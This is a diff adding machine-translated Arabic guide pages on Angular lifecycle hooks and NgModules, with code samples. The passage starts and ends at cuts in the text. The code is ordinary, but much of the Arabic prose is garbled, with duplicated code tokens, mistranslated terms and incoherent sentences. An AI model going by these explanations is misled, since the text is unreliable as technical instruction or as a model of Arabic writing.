+    }, 5000); 
+  } 
+ } 
+`` 
+
+**ملخص:** ParentComponent بربط بيانات الإدخال إلى ChildComponent. يتلقى ChildComponent هذه البيانات من خلال خاصية `@Input` الخاصة به. البيانات المقدمة إلى القالب. `ngOnInit` الحرائق. بعد خمس ثوانٍ ، يتم تشغيل معاودة الاتصال `setTimeout` . يقوم ParentComponent بتغيير مصدر البيانات الخاص بخاصية إدخال معلمة ChildComponent. nGOnInit **لا** حريق.
+
+`ngOnInit` هو `ngOnInit` -one-done. التهيئة هي شاغلها الوحيد.
+
+#### ngDoCheck
+
+`ngDoCheck` حرائق مع كل دورة الكشف عن التغيير. يغير تشغيل الزاوي كثيرًا. سوف يؤدي تنفيذ أي إجراء إلى الدوران. حرائق `ngDoCheck` مع هذه الدورات. استخدامه بحذر. يمكن أن يخلق مشاكل الأداء عند تنفيذها بشكل غير صحيح.
+
+يتيح `ngDoCheck` للمطورين التحقق من بياناتهم يدويًا. يمكن أن تؤدي إلى تاريخ تطبيق جديد بشروط. بالتزامن مع `ChangeDetectorRef` ، يمكن للمطورين إنشاء الشيكات الخاصة بهم للكشف عن التغيير.
+
+ ``import { Component, DoCheck, ChangeDetectorRef } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-example', 
+  template: ` 
+  <h1>ngDoCheck Example</h1> 
+  <p>DATA: {{ data[data.length - 1] }}</p> 
+  ` 
+ }) 
+ export class ExampleComponent implements DoCheck { 
+  lifecycleTicks: number = 0; 
+  oldTheData: string; 
+  data: string[] = ['initial']; 
+ 
+  constructor(private changeDetector: ChangeDetectorRef) { 
+    this.changeDetector.detach(); // lets the class perform its own change detection 
+ 
+    setTimeout(() => { 
+      this.oldTheData = 'final'; // intentional error 
+      this.data.push('intermediate'); 
+    }, 3000); 
+ 
+    setTimeout(() => { 
+      this.data.push('final'); 
+      this.changeDetector.markForCheck(); 
+    }, 6000); 
+  } 
+ 
+  ngDoCheck() { 
+    console.log(++this.lifecycleTicks); 
+ 
+    if (this.data[this.data.length - 1] !== this.oldTheData) { 
+      this.changeDetector.detectChanges(); 
+    } 
+  } 
+ } 
+`` 
+
+انتبه إلى وحدة التحكم مقابل العرض. تقدم البيانات حتى "متوسط" قبل التجميد. تحدث ثلاث جولات من اكتشاف التغيير خلال هذه الفترة كما هو موضح في وحدة التحكم. تحدث جولة أخرى من اكتشاف التغيير عندما يتم دفع "نهائي" إلى نهاية هذا `this.data` . ثم تحدث جولة أخيرة من الكشف عن التغيير. يحدد تقييم العبارة if أي تحديثات للعرض ضرورية.
+
+**ملخص:** الطبقة instantiates بعد جولتين من الكشف عن التغيير. يبدأ منشئ فئة `setTimeout` مرتين. بعد ثلاث ثوانٍ ، يقوم `setTimeout` الأول `setTimeout` بتغيير الكشف. `ngDoCheck` علامات العرض للحصول على تحديث. بعد ثلاث ثوانٍ ، يقوم `setTimeout` الثاني `setTimeout` بتغيير الكشف. لا توجد تحديثات للعرض مطلوبة وفقًا لتقييم `ngDoCheck` .
+
+##### تحذير
+
+قبل المتابعة ، تعرف على الفرق بين محتوى DOM وعرض DOM (يقف DOM لنموذج كائن المستند).
+
+يحدد المحتوى DOM لغة HTML الداخلية للعناصر الموجهة. على العكس ، فإن DOM view هو قالب مكون باستثناء أي HTML قالب متداخل ضمن توجيه. للحصول على فهم أفضل ، ارجع إلى [مشاركة المدونة هذه](http://blog.mgechev.com/2016/01/23/angular2-viewchildren-contentchildren-difference-viewproviders) .
+
+#### ngAfterContentInit
+
+`ngAfterContentInit` بإشعاع بعد تهيئة DOM للمكون المكون (تحميل للمرة الأولى). الانتظار في `@ContentChild(ren)` هو حالة الاستخدام الأساسي في hook.
+
+`@ContentChild(ren)` استعلامات `@ContentChild(ren)` مراجع العناصر لمحتوى DOM. على هذا النحو ، فهي غير متوفرة إلا بعد تحميل محتوى DOM. ومن ثم لماذا `ngAfterContentInit` ونظيرتها `ngAfterContentChecked` يتم استخدامها.
+
+ ``import { Component, ContentChild, AfterContentInit, ElementRef, Renderer2 } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-c', 
+  template: ` 
+  <p>I am C.</p> 
+  <p>Hello World!</p> 
+  ` 
+ }) 
+ export class CComponent { } 
+ 
+ @Component({ 
+  selector: 'app-b', 
+  template: ` 
+  <p>I am B.</p> 
+  <ng-content></ng-content> 
+  ` 
+ }) 
+ export class BComponent implements AfterContentInit { 
+  @ContentChild("BHeader", { read: ElementRef }) hRef: ElementRef; 
+  @ContentChild(CComponent, { read: ElementRef }) cRef: ElementRef; 
+ 
+  constructor(private renderer: Renderer2) { } 
+ 
+  ngAfterContentInit() { 
+    this.renderer.setStyle(this.hRef.nativeElement, 'background-color', 'yellow') 
+ 
+    this.renderer.setStyle(this.cRef.nativeElement.children.item(0), 'background-color', 'pink'); 
+    this.renderer.setStyle(this.cRef.nativeElement.children.item(1), 'background-color', 'red'); 
+  } 
+ } 
+ 
+ @Component({ 
+  selector: 'app-a', 
+  template: ` 
+  <h1>ngAfterContentInit Example</h1> 
+  <p>I am A.</p> 
+  <app-b> 
+    <h3 #BHeader>BComponent Content DOM</h3> 
+    <app-c></app-c> 
+  </app-b> 
+  ` 
+ }) 
+ export class AComponent { } 
+`` 
+
+`@ContentChild` نتائج الاستعلام `ngAfterContentInit` من `ngAfterContentInit` . `Renderer2` بتحديث محتوى DOM من BComponent الذي يحتوي على علامة `h3` و CComponent. هذا هو مثال شائع [لإسقاط المحتوى](https://alligator.io/angular/content-projection-angular) .
+
+**ملخص:** يبدأ التقديم مع AComponent. لإنهاء ، يجب أن يجعل AComponent BComponent. محتوى المشاريع BComponent متداخل في عنصره من خلال عنصر `<ng-content></ng-content>` . يمثل CComponent جزءًا من المحتوى المتوقع. ينهي المحتوى المتوقع العرض. `ngAfterContentInit` fires. BComponent انتهاء العرض. ينتهي AComponent التقديم. لن `ngAfterContentInit` إطلاق مرة أخرى.
+
+#### ngAfterContentChecked
+
+`ngAfterContentChecked` fires after `ngAfterContentChecked` cycle of change detection `ngAfterContentChecked` the content DOM. هذا يتيح للمطورين تسهيل كيفية استجابة محتوى DOM لتغيير الكشف. يمكن `ngAfterContentChecked` إطلاق النار بشكل متكرر والتسبب في مشاكل في الأداء إذا نفذت بشكل سيئ.
+
+حرائق `ngAfterContentChecked` خلال مراحل التهيئة مكون أيضا. يأتي بعد `ngAfterContentInit` .
+
+ ``import { Component, ContentChild, AfterContentChecked, ElementRef, Renderer2 } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-c', 
+  template: ` 
+  <p>I am C.</p> 
+  <p>Hello World!</p> 
+  ` 
+ }) 
+ export class CComponent { } 
+ 
+ @Component({ 
+  selector: 'app-b', 
+  template: ` 
+  <p>I am B.</p> 
+  <button (click)="$event">CLICK</button> 
+  <ng-content></ng-content> 
+  ` 
+ }) 
+ export class BComponent implements AfterContentChecked { 
+  @ContentChild("BHeader", { read: ElementRef }) hRef: ElementRef; 
+  @ContentChild(CComponent, { read: ElementRef }) cRef: ElementRef; 
+ 
+  constructor(private renderer: Renderer2) { } 
+ 
+  randomRGB(): string { 
+    return `rgb(${Math.floor(Math.random() * 256)}, 
+    ${Math.floor(Math.random() * 256)}, 
+    ${Math.floor(Math.random() * 256)})`; 
+  } 
+ 
+  ngAfterContentChecked() { 
+    this.renderer.setStyle(this.hRef.nativeElement, 'background-color', this.randomRGB()); 
+    this.renderer.setStyle(this.cRef.nativeElement.children.item(0), 'background-color', this.randomRGB()); 
+    this.renderer.setStyle(this.cRef.nativeElement.children.item(1), 'background-color', this.randomRGB()); 
+  } 
+ } 
+ 
+ @Component({ 
+  selector: 'app-a', 
+  template: ` 
+  <h1>ngAfterContentChecked Example</h1> 
+  <p>I am A.</p> 
+  <app-b> 
+    <h3 #BHeader>BComponent Content DOM</h3> 
+    <app-c></app-c> 
+  </app-b> 
+  ` 
+ }) 
+ export class AComponent { } 
+`` 
+
+هذا بالكاد يختلف من `ngAfterContentInit` . تمت إضافة مجرد `<button></button>` إلى BComponent. يؤدي النقر فوقه إلى حدوث حلقة اكتشاف التغيير. هذا ينشط ربط كما هو مشار إليه من قبل randomization من `background-color` .
+
+**ملخص:** يبدأ التقديم مع AComponent. لإنهاء ، يجب أن يجعل AComponent BComponent. محتوى المشاريع BComponent متداخل في عنصره من خلال عنصر `<ng-content></ng-content>` . يمثل CComponent جزءًا من المحتوى المتوقع. ينهي المحتوى المتوقع العرض. `ngAfterContentChecked` fires. BComponent انتهاء العرض. ينتهي AComponent التقديم. قد `ngAfterContentChecked` إطلاق مرة أخرى خلال الكشف عن التغيير.
+
+#### ngAfterViewInit
+
+`ngAfterViewInit` مرة واحدة بعد انتهاء عرض DOM تهيئة. يتم تحميل العرض دائمًا بعد المحتوى مباشرةً. ينتظر `ngAfterViewInit` على `@ViewChild(ren)` لحل. يتم الاستعلام عن هذه العناصر من داخل نفس عرض المكون.
+
+في المثال أدناه ، يتم الاستعلام عن رأس `h3` BComponent. `ngAfterViewInit` تنفيذ `ngAfterViewInit` بمجرد توفر نتائج الاستعلام.
+
+ ``import { Component, ViewChild, AfterViewInit, ElementRef, Renderer2 } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-c', 
+  template: ` 
+  <p>I am C.</p> 
+  <p>Hello World!</p> 
+  ` 
+ }) 
+ export class CComponent { } 
+ 
+ @Component({ 
+  selector: 'app-b', 
+  template: ` 
+  <p #BStatement>I am B.</p> 
+  <ng-content></ng-content> 
+  ` 
+ }) 
+ export class BComponent implements AfterViewInit { 
+  @ViewChild("BStatement", { read: ElementRef }) pStmt: ElementRef; 
+ 
+  constructor(private renderer: Renderer2) { } 
+ 
+  ngAfterViewInit() { 
+    this.renderer.setStyle(this.pStmt.nativeElement, 'background-color', 'yellow'); 
+  } 
+ } 
+ 
+ @Component({ 
+  selector: 'app-a', 
+  template: ` 
+  <h1>ngAfterViewInit Example</h1> 
+  <p>I am A.</p> 
+  <app-b> 
+    <h3>BComponent Content DOM</h3> 
+    <app-c></app-c> 
+  </app-b> 
+  ` 
+ }) 
+ export class AComponent { } 
+`` 
+
+يغير `Renderer2` لون خلفية رأس BComponent. يشير هذا إلى عنصر العرض تم الاستعلام عنه بنجاح وذلك بفضل `ngAfterViewInit` .
+
+**ملخص:** يبدأ التقديم مع AComponent. لإنهاء ، يجب أن يجعل AComponent BComponent. محتوى المشاريع BComponent متداخل في عنصره من خلال عنصر `<ng-content></ng-content>` . يمثل CComponent جزءًا من المحتوى المتوقع. ينهي المحتوى المتوقع العرض. BComponent انتهاء العرض. `ngAfterViewInit` حرائق. ينتهي AComponent التقديم. لن `ngAfterViewInit` إطلاق مرة أخرى.
+
+#### ngAfterViewChecked
+
+`ngAfterViewChecked` fires بعد أي دورة الكشف عن تغيير تستهدف عرض المكون. يسمح ربط `ngAfterViewChecked` للمطورين بتسهيل كيفية تأثير الكشف عن التغيير على DOM العرض.
+
+ ``import { Component, ViewChild, AfterViewChecked, ElementRef, Renderer2 } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-c', 
+  template: ` 
+  <p>I am C.</p> 
+  <p>Hello World!</p> 
+  ` 
+ }) 
+ export class CComponent { } 
+ 
+ @Component({ 
+  selector: 'app-b', 
+  template: ` 
+  <p #BStatement>I am B.</p> 
+  <button (click)="$event">CLICK</button> 
+  <ng-content></ng-content> 
+  ` 
+ }) 
+ export class BComponent implements AfterViewChecked { 
+  @ViewChild("BStatement", { read: ElementRef }) pStmt: ElementRef; 
+ 
+  constructor(private renderer: Renderer2) { } 
+ 
+  randomRGB(): string { 
+    return `rgb(${Math.floor(Math.random() * 256)}, 
+    ${Math.floor(Math.random() * 256)}, 
+    ${Math.floor(Math.random() * 256)})`; 
+  } 
+ 
+  ngAfterViewChecked() { 
+    this.renderer.setStyle(this.pStmt.nativeElement, 'background-color', this.randomRGB()); 
+  } 
+ } 
+ 
+ @Component({ 
+  selector: 'app-a', 
+  template: ` 
+  <h1>ngAfterViewChecked Example</h1> 
+  <p>I am A.</p> 
+  <app-b> 
+    <h3>BComponent Content DOM</h3> 
+    <app-c></app-c> 
+  </app-b> 
+  ` 
+ }) 
+ export class AComponent { } 
+`` 
+
+**ملخص:** يبدأ التقديم مع AComponent. لإنهاء ، يجب أن يجعل AComponent BComponent. محتوى المشاريع BComponent متداخل في عنصره من خلال عنصر `<ng-content></ng-content>` . يمثل CComponent جزءًا من المحتوى المتوقع. ينهي المحتوى المتوقع العرض. BComponent انتهاء العرض. `ngAfterViewChecked` fires. ينتهي AComponent التقديم. قد `ngAfterViewChecked` إطلاق مرة أخرى خلال الكشف عن التغيير.
+
+يؤدي النقر فوق `<button></button>` بدء جولة كشف عن التغيير. `ngAfterContentChecked` حرائق وعشوائية `background-color` للعناصر التي تم الاستعلام عنها كل نقرة زر.
+
+#### ngOnDestroy
+
+`ngOnDestroy` حرائق على إزالة مكون من العرض و DOM لاحق. يوفر هذا الخطاف فرصة لتنظيف أي طرود فضفاضة قبل حذف أحد المكونات.
+
+ ``import { Directive, Component, OnDestroy } from '@angular/core'; 
+ 
+ @Directive({ 
+  selector: '[appDestroyListener]' 
+ }) 
+ export class DestroyListenerDirective implements OnDestroy { 
+  ngOnDestroy() { 
+    console.log("Goodbye World!"); 
+  } 
+ } 
+ 
+ @Component({ 
+  selector: 'app-example', 
+  template: ` 
+  <h1>ngOnDestroy Example</h1> 
+  <button (click)="toggleDestroy()">TOGGLE DESTROY</button> 
+  <p appDestroyListener *ngIf="destroy">I can be destroyed!</p> 
+  ` 
+ }) 
+ export class ExampleComponent { 
+  destroy: boolean = true; 
+ 
+  toggleDestroy() { 
+    this.destroy = !this.destroy; 
+  } 
+ } 
+`` 
+
+**ملخص:** يتم النقر فوق الزر. عضو ExampleComponent `destroy` false. يتم تقييم التوجيه الهيكلي `*ngIf` إلى false. `ngOnDestroy` fires. `*ngIf` يزيل مضيفه `<p></p>` . تكرر هذه العملية أي عدد من المرات نقر الزر لتبديل `destroy` إلى false.
+
+#### استنتاج
+
+تذكر أنه يجب تلبية شروط معينة لكل خطاف. سوف ينفذون دائما في ترتيب بعضهم البعض بغض النظر. هذا يجعل الخطافات متوقعة بما يكفي للتعامل معها حتى لو لم يتم تنفيذ بعضها.
+
+مع خطافات دورة الحياة ، فإن توقيت تنفيذ الفصل أمر سهل. أنها تسمح للمطورين بتتبع مكان حدوث الكشف عن التغيير وكيفية تفاعل التطبيق. إنها تتوقّف للحصول على التعليمة البرمجية التي تتطلب تبعيات تستند إلى الأحمال متاحة فقط بعد وقت ما.
+
+تميز دورة حياة المكونات أطر العمل الأمامية الحديثة. يضع الزاوي دورة حياته من خلال توفير الخطافات المذكورة أعلاه.
+
+## مصادر
+
+*   [فريق الزاوي. "خطاف دورة الحياة". _جوجل_ . تم الوصول إليه في 2 يونيو 2018](https://angular.io/guide/lifecycle-hooks)
+*   [جيجتش ، مينكو. "ViewChildren و ContentChildren in Angular". تم الوصول إليه في 2 يونيو 2018](http://blog.mgechev.com/2016/01/23/angular2-viewchildren-contentchildren-difference-viewproviders)
+
+## مصادر
+
+*   [وثائق الزاوي](https://angular.io/docs)
+*   [Angular GitHub Repository](https://github.com/angular/angular)
+*   [خطاف دورة الحياة في العمق](https://angular.io/guide/lifecycle-hooks)
\ No newline at end of file
diff --git a/client/src/guide/arabic/angular/ngmodules/index.md b/client/src/guide/arabic/angular/ngmodules/index.md
new file mode 100644
index 0000000000..f4063370c3
--- /dev/null
+++ b/client/src/guide/arabic/angular/ngmodules/index.md
@@ -0,0 +1,360 @@
+---
+title: NgModules
+localeTitle: iModules
+---
+# NgModules
+
+#### التحفيز
+
+تبدأ التطبيقات الزاوية من الجذر NgModule. يقوم Angular بإدارة تبعيات التطبيق من خلال نظام الوحدة الخاص به المكون من NgModules. إلى جانب وحدات جافا سكريبت العادية ، يضمن NgModules شفرته و تغليفه.
+
+توفر الوحدات النمطية أيضًا أعلى مستوى لتنظيم التعليمات البرمجية. كل المقاطع NgModule قبالة جزء من التعليمات البرمجية الخاصة به كما الجذر. توفر هذه الوحدة التغليف من الأعلى إلى الأسفل لرمزها. يمكن للكتلة بأكملها من التعليمة البرمجية تصديرها إلى أي وحدة نمطية أخرى. بهذا المعنى ، يتصرف NgModules مثل المتحكمين في كتل التعليمات البرمجية الخاصة بهم.
+
+تأتي أدوات Angular الموثقة من NgModules التي كتبها Angular. لا توجد فائدة متاحة ما لم يتم تضمينها في الجذر. يجب أيضًا تصدير هذه الأدوات المساعدة من وحدة المضيف الخاصة بهم بحيث يمكن للمستوردين استخدامها. هذا الشكل من التغليف يمنح المطور القدرة على إنتاج نغماته الخاصة في نفس نظام الملفات.
+
+بالإضافة إلى ذلك ، من المنطقي معرفة سبب قيام CLI (واجهة سطر الأوامر) باستيراد `BrowserModule` من `@angular/core` . يحدث هذا عند إنشاء تطبيق جديد باستخدام الأمر CLI: `ng new [name-of-app]` .
+
+قد يكون فهم نقطة التنفيذ كافياً في معظم الحالات. ومع ذلك ، فإن فهم كيفية تنفيذ الأسلاك نفسها للجذر أفضل. كل ذلك يحدث تلقائيا عن طريق استيراد `BrowserModule` إلى الجذر.
+
+#### نجمودول ديكور
+
+يحدد Angular وحداته عن طريق تزيين فئة عامة. يشير مصمم `@NgModule` إلى الغرض المعياري للصف في Angular. يدمج صنف NgModule تبعيات الجذر التي يمكن الوصول إليها / سريعة التأثر من نطاق الوحدة. "النطاق" يعني أي شيء ينشأ عن البيانات الوصفية للوحدة.
+
+ `import { NgModule } from '@angular/core'; 
+ 
+ @NgModule({ 
+  // … metadata … 
+ }) 
+ export class AppModule { } 
+` 
+
+#### NgModule Metadata
+
+جذر CLI الذي تم إنشاؤه يتضمن NgModule حقول البيانات الوصفية التالية. توفر هذه الحقول التكوين إلى كتلة التعليمات البرمجية التي يترأسها NgModule.
+
+*   `declarations: []`
+*   `imports: []`
+*   `providers: []`
+*   `bootstrap: []`
+
+##### الإعلانات
+
+تتضمن مصفوفة الإعلانات جميع المكونات أو التوجيهات أو الأنابيب المستضافة من قِبل NgModule. وهي خاصة بالوحدة ما لم يتم تصديرها صراحة داخل البيانات الوصفية الخاصة بها. بالنظر إلى حالة الاستخدام هذه ، فإن المكونات والتوجيهات والأنابيب تُلقَى بـ "المُعلنين". يجب أن يقوم NgModule بإعلان المصادفة بشكل فريد. لا يمكن تعريف declarable مرتين في NgModules منفصلة. يلقى خطأ وإلا. انظر المثال التالي.
+
+ `import { NgModule } from '@angular/core'; 
+ import { TwoComponent } from './components/two.component.ts'; 
+ 
+ @NgModule({ 
+  declarations: [ TwoComponent ] 
+ }) 
+ export class TwoModule { } 
+ 
+ @NgModule({ 
+  imports: [ TwoModule ], 
+  declarations: [ TwoComponent ] 
+ }) 
+ export class OneModule { } 
+` 
+
+يلقي الزاوي خطأ من أجل تغليف NgModule. تكون Declarables خاصة إلى NgModule التي تعلن عليها بشكل افتراضي. إذا احتاج العديد من NgModules إلى معينة يمكن تعريفه ، فيجب عليهم استيراد إعلان NgModule. يجب على هذا NgModule ثم تصدير المطلوبة declarable بحيث يمكن استخدام NgModules الأخرى عليه.
+
+ `import { NgModule } from '@angular/core'; 
+ import { TwoComponent } from './components/two.component.ts'; 
+ 
+ @NgModule({ 
+  declarations: [ TwoComponent ], 
+  exports: [ TwoComponent ] 
+ }) 
+ export class TwoModule { } 
+ 
+ @NgModule({ 
+  imports: [ TwoModule ] // this module can now use TwoComponent 
+ }) 
+ export class OneModule { } 
+` 
+
+المثال أعلاه لن يرمي خطأ. تم الإعلان عن TwoComponent بشكل فريد بين اثنين NgModules. لدى OneModule أيضاً الوصول إلى TwoComponent منذ أن يقوم باستيراد TwoModule. TwoModule بدوره بتصدير في TwoComponent للاستخدام الخارجي.
+
+##### واردات
+
+لا يقبل مصفوفة الواردات إلا NgModules. لا يقبل هذا المصفوفة المصداقية أو الخدمات أو أي شيء آخر بالإضافة إلى NgModules الأخرى. يوفر استيراد وحدة ما إمكانية الوصول إلى ما تعلنه الوحدة.
+
+هذا يفسر لماذا استيراد `BrowserModule` يوفر الوصول إلى `BrowserModule` المساعدة المختلفة. يتم تصدير كل أداة تعريف تم تعريفها في `BrowserModule` من بياناتها الوصفية. عند استيراد `BrowserModule` ، تصبح تلك المصادرات المصدرة متاحة لاستيراد NgModule. الخدمات لا تصدر على الإطلاق لأنها تفتقر إلى نفس التغليف.
+
+##### مقدمي
+
+قد يبدو عدم وجود تغليف الخدمة غريبًا نظرًا لتضمين عبارات التعريف. تذكر أن الخدمات تذهب إلى مجموعة الموفرين المنفصلة عن الإعلانات أو الصادرات.
+
+عندما ترجمة Angular ، فإنه يسوي الجذر NgModule وارداتها في وحدة واحدة. مجموعة الخدمات معًا في مصفوفة واحدة لمقدمي الخدمات مستضافة من قِبل NgModule المدمج. تحتفظ المواد القابلة للتصريح بتغليفها من خلال مجموعة من أعلام تجميع الوقت.
+
+إذا كان موفرو NgModule يحتويون على قيم رمزية مطابقة ، فستكون الأولوية لوحدة جذور الاستيراد. الماضي ، فإن آخر NgModule المستوردة الأسبقية. انظر المثال التالي. انتبه بشكل خاص إلى NgModule باستيراد الاثنين الآخرين. تعرف على كيفية تأثير ذلك على أسبقية الخدمة المقدمة.
+
+ `import { NgModule } from '@angular/core'; 
+ 
+ @NgModule({ 
+  providers: [ AwesomeService ], // 1st precedence + importing module 
+  imports: [ 
+    BModule, 
+    CModule 
+  ] 
+ }) 
+ export class AModule { } 
+ 
+ @NgModule({ 
+  providers: [ AwesomeService ]  // 3rd precedence + first import 
+ }) 
+ export class BModule { } 
+ 
+ @NgModule({ 
+  providers: [ AwesomeService ]  // 2nd precedence + last import 
+ }) 
+ export class CModule { } 
+` 
+
+Instantinating AwesomeService من داخل نطاق AModule ينتج عنه مثيل AwesomeService كما هو منصوص عليه في البيانات الوصفية لـ AModule. إذا قام مزودو AModule بحذف هذه الخدمة ، فستكون الأولوية لـ Awesome Service من CModule. وهكذا ، بالنسبة إلى BModule إذا قام مزودو CModule بحذف AwesomeService.
+
+##### التمهيد
+
+يقبل مصفوفة bootstrap المكونات. بالنسبة لكل مكون في المصفوفة ، يقوم Angular بإدراج المكون كجذر خاص به لملف `index.html` . سوف يكون دائما جذر NgIodule من تطبيق CLI من تطبيق هذا الحقل.
+
+ `import { BrowserModule } from '@angular/platform-browser'; 
+ import { NgModule } from '@angular/core'; 
+ import { AppComponent } from './app.component'; 
+ 
+ @NgModule({ 
+  declarations: [ AppComponent ], 
+  imports: [ BrowserModule ], 
+  providers: [], 
+  bootstrap: [ AppComponent ] 
+ }) 
+ export class AppModule { } 
+` 
+
+سيتم حقن عنصر AppComponent في HTML الأساسي من التطبيق ( `index.html` ). بقية شجرة المكون تتكشف من هناك. يغطي نطاق NgModule الشامل هذه الشجرة بأكملها بالإضافة إلى أي أخرى يتم حقنها من مصفوفة التمهيد. عادة ما يحتوي المصفوفة على عنصر واحد فقط. يمثل هذا المكون الوحدة النمطية كعنصر واحد والشجرة الأساسية.
+
+#### NgModules مقابل وحدات جافا سكريبت
+
+لقد رأيت وحدات Angular و JavaScript تعمل معًا في الأمثلة السابقة. تمثل أعلى نسبة من `import..from` عبارات نظام وحدة جافا سكريبت. يجب أن تقوم مواقع الملفات المستهدفة لكل عبارة بتصدير فئة أو متغير أو وظيفة مطابقة للطلب. `import { TARGET } from './path/to/exported/target'` .
+
+في JavaScript ، يتم فصل الوحدات النمطية عن الملفات. ملفات استيراد باستخدام `import..from` الكلمات الرئيسية كما ذكرت للتو. من ناحية أخرى ، `@NgModule` منفصلة عن الفصل ومزينة بـ `@NgModule` . وهكذا ، يمكن للعديد من وحدات الزوايا الموجودة في ملف واحد. لا يمكن أن يحدث هذا مع JavaScript حيث يحدد الملف وحدة نمطية.
+
+تنص الاتفاقيات على أنه يجب أن يكون لكل فئة مزخرفة `@NgModule` ملف خاص بها. ومع ذلك ، تعرف أن الملفات لا تشكل وحداتها الخاصة في Angular. الطبقات `@NgModule` بـ `@NgModule` تخلق هذا التمييز.
+
+توفر وحدات جافا سكريبت مراجع رمزية للبيانات الوصفية لـ `@NgModule` . يحدث هذا في أعلى ملف يستضيف فصل NgModule. يستخدم NgModule هذه الرموز المميزة داخل حقول البيانات الوصفية (المصاريف ، والواردات ، ومقدمي الخدمات ، إلخ). السبب الوحيد `@NgModule` بتزيين فئة في المقام الأول هو أن JavaScript تقوم باستيرادها من أعلى الملف.
+
+ `// JavaScript module system provides tokens 
+ import { BrowserModule } from '@angular/platform-browser'; 
+ import { NgModule } from '@angular/core'; 
+ import { AppComponent } from './app.component'; 
+ import { AppService } from './app.service'; 
+ // Javascript module system is strict about where it imports. It can only import at the top of files. 
+ 
+ // Angular NgModule uses those tokens in its metadata settings 
+ @NgModule({ // import { NgModule } from '@angular/core'; 
+  declarations: [ 
+    AppComponent // import { AppComponent } from './app.component'; 
+  ], 
+  imports: [ 
+    BrowserModule // import { BrowserModule } from '@angular/platform-browser'; 
+  ], 
+  providers: [ 
+    AppService // import { AppService } from './app.service'; 
+  ], 
+  bootstrap: [ 
+    AppComponent // import { AppComponent } from './app.component'; 
+  ] 
+ }) 
+ export class AppModule { } 
+ // JavaScript module system exports the class. Other modules can now import AppModule. 
+` 
+
+المثال أعلاه لا يقدم أي شيء جديد. وينصب التركيز هنا على التعليقات التي توضح كيفية عمل النظامين المعياريين معًا. توفر JavaScript المراجع الرمزية بينما يستخدم NgModule تلك الرمز المميز لتغليف وتكوين الكتل الأساسية من التعليمة البرمجية الخاصة به.
+
+#### الوحدات النمطية ميزة
+
+تطبيقات تنمو الوقت الإضافي. قياسها بشكل صحيح يتطلب تنظيم التطبيق. إن وجود نظام صلب لهذا سيجعل التطوير أكثر سهولة.
+
+في الزاوي ، يضمن المخططات أن الكود المدار حسب الغرض يكون مميزًا. ما وراء مخططات NgModule الفرعية ، هناك NgModules أنفسهم. هم نوع من التخطيطي أيضا. وهي تقف فوق البقية في قائمة التخطيطات باستثناء التطبيق نفسه.
+
+يجب ألا تقف وحدة الجذر وحدها عندما يبدأ التطبيق في التوسع. تتضمن الوحدات النمطية ميزة أي NgModule المستخدمة جنبا إلى جنب مع الجذر NgModule. يمكنك أن تفكر في الوحدة الجذرية على أنها تحتوي على `bootstrap: []` حقل البيانات الوصفية. تطبيق ميزة تأكد من أن وحدة الجذر لا تشبع البيانات الوصفية الخاصة به.
+
+تعمل الوحدات النمطية للميزات على عزل قسم من التعليمات البرمجية نيابة عن أي وحدة استيراد. يمكنهم التعامل مع أقسام التطبيق بأكملها بشكل مستقل. وهذا يعني أنه يمكن استخدامه في أي تطبيق تستورد الوحدة الجذرية له وحدة الميزة. هذا التكتيك يوفر الوقت والجهد للمطورين على مدار تطبيقات متعددة! انها تحافظ على الجذر التطبيق NgModule الهزيل كذلك.
+
+في الجذر NgModule من التطبيق ، إضافة الرمز المميز وحدة نمطية في مجموعة `imports` الجذر يفعل خدعة. أيًا كانت الوحدة النمطية التي يصدرها أو يوفرها ، تصبح متاحة للجذر.
+
+ `// ./awesome.module.ts 
+ 
+ import { NgModule } from '@angular/core'; 
+ import { AwesomePipe } from './awesome/pipes/awesome.pipe'; 
+ import { AwesomeComponent } from './awesome/components/awesome.component'; 
+ import { AwesomeDirective } from './awesome/directives/awesome.directive'; 
+ 
+ @NgModule({ 
+  exports: [ 
+    AwesomePipe, 
+    AwesomeComponent, 
+    AwesomeDirective 
+  ] 
+  declarations: [ 
+    AwesomePipe, 
+    AwesomeComponent, 
+    AwesomeDirective 
+  ] 
+ }) 
+ export class AwesomeModule { } 
+` 
+
+ `// ./app.module.ts 
+ 
+ import { AwesomeModule } from './awesome.module'; 
+ import { BrowserModule } from '@angular/platform-browser'; 
+ import { NgModule } from '@angular/core'; 
+ import { AppComponent } from './app.component'; 
+ 
+ @NgModule({ 
+  declarations: [ 
+    AppComponent 
+  ], 
+  imports: [ 
+    AwesomeModule, 
+    BrowserModule 
+  ], 
+  providers: [], 
+  bootstrap: [ 
+    AppComponent 
+  ] 
+ }) 
+ export class AppModule { } 
+` 
+
+ ``// ./app.component.ts 
+ 
+ import { Component } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-root', 
+  template: ` 
+  <!-- AwesomeDirective --> 
+  <h1 appAwesome>This element mutates as per the directive logic of appAwesome.</h1> 
+ 
+  <!-- AwesomePipe --> 
+  <p>Generic output: {{ componentData | awesome }}</p> 
+ 
+  <section> 
+    <!-- AwesomeComponent --> 
+    <app-awesome></app-awesome> 
+  </section> 
+  ` 
+ }) 
+ export class AppComponent { 
+  componentData: string = "Lots of transformable data!"; 
+ } 
+`` 
+
+`<app-awesome></app-awesome>` (المكون) ، `awesome` (الأنبوب) ، و `appAwesome` (التوجيهي) `appAwesome` . لو لم يتم تصدير هذه التصاريح أو إهمال AppModule لإضافة AwesomeModule إلى وارداتها ، فإن مصداقية AwesomeModule لن تكون قابلة للاستخدام بواسطة نموذج AppComponent. AwesomeModule هو وحدة ميزة لجذر NgModule AppModule.
+
+يوفر Angular بعض وحداته الخاصة التي تكمل الجذر عند استيرادها. هذا يرجع إلى هذه الوحدات النمطية ميزة تصدير ما يقومون بإنشائه.
+
+#### طرق وحدة ثابتة
+
+توفر الوحدات النمطية أحيانًا خيارًا لتكوينه باستخدام كائن تهيئة مخصص. يتم تحقيق ذلك من خلال الاستفادة من الأساليب الثابتة داخل فئة الوحدة النمطية.
+
+مثال على هذا الأسلوب هو `RoutingModule` الذي يوفر طريقة `.forRoot(...)` مباشرة على الوحدة النمطية.
+
+لتحديد طريقة الوحدة النمطية الثابتة الخاصة بك يمكنك إضافته إلى فئة الوحدة النمطية باستخدام الكلمة الأساسية `static` . يجب أن يكون نوع الإرجاع هو `ModuleWithProviders` .
+
+ `// configureable.module.ts 
